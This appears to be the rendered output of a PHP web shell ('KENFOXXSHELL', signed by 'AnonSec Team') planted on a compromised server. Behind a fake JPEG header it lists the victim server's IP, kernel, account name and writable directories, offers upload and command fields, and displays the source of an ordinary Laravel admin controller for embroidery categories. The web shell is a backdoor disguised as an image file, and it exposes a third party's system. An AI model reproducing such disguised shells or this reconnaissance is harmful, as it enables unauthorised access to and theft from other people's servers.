JFIFHHC     C  " 5????! ??? Donat Was Here
KENFOXXSHELL
Server IP : 160.25.81.117  /  Your IP : 216.73.216.137
Web Server : Apache/2
System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : bellizen ( 1045)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bellizen/public_html/app/Http/Controllers/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/bellizen/public_html/app/Http/Controllers/Admin/EmbroideryCateController.php
<?php 

namespace App\Http\Controllers\Admin;



use App\Http\Requests;

use App\Http\Controllers\Controller;

use App\Http\Requests\EmbroideryCateRequest;



use Illuminate\Http\Request;

use App\EmbroideryCate;

use Input, File;

use Validator;



class EmbroideryCateController extends Controller {



	public function getDanhSach()

    {

        $data = EmbroideryCate::all();

    	return view('admin.embroiderycate.list', compact('data'));

    }

    public function getAdd()

    {

        $parent = EmbroideryCate::select('id','name')->get()->toArray();

    	return view('admin.embroiderycate.add', compact('parent'));

    }

    public function postAdd(EmbroideryCateRequest $request)

    {

       

    	$cate = new EmbroideryCate;

       

        $cate->name = $request->txtName;
        if(!empty($request->pro_id)){
            $cate->pro_id = implode(',',$request->pro_id);
        }
        if(@!empty($_REQUEST['type'])){

            $cate->type = $request->type;

        }

        $cate->save();

        return redirect()->route('admin.embroiderycate.index')->with('status','Thêm mới thành công !');

    }

    public function getEdit(Request $request)

    {

        $id= $request->get('id');

        //Tìm article thông qua mã id tương ứng

        $data = EmbroideryCate::find($id);

        if(!empty($data)){

            

            $parent = EmbroideryCate::get()->toArray();

           // Gọi view edit.blade.php hiển thị bải viết

            return view('admin.embroiderycate.edit',compact('data','parent','id'));

        }else{

            $data = EmbroideryCate::all();

            return redirect()->route('admin.embroiderycate.index')->with('status','Dữ liệu không có thực');

        }

    }



    public function update(Request $request)

    {

        $this->validate($request,

            ["txtName" => "required"],

            ["txtName.required" => "Bạn chưa nhập tên danh mục"]

        );

        $id=$request->get('id');

        $nhan_cate = EmbroideryCate::find($id);

        if(!empty($nhan_cate)){

            $nhan_cate->name = $request->txtName;

            if(!empty($request->pro_id)){
                $nhan_cate->pro_id = implode(',',$request->pro_id);
            }

            if(@!empty($_REQUEST['type'])){

                $nhan_cate->type = $request->type;

            }

            $nhan_cate->save();



            return redirect('admin/embroiderycate/edit?id='.$id)->with('status','Cập nhật thành công');

        }else{

            return redirect('admin/embroiderycate/')->with('status','Dữ liệu không có thực');

        }

    }

    public function getDelete($id)

    {

        $product = EmbroideryCate::findOrFail($id);

        $product->delete();

        return redirect()->route('admin.embroiderycate.index');

    }

    public function getDeleteList($id){

        $listid = explode(",",$id);

        foreach($listid as $listid_item){

            $product = EmbroideryCate::findOrFail($listid_item);

            $product->delete();

            //File::delete('upload/product/'.$product->photo);

        }

        return redirect()->route('admin.embroiderycate.index');

    }

}


Anon7 - 2022
AnonSec Team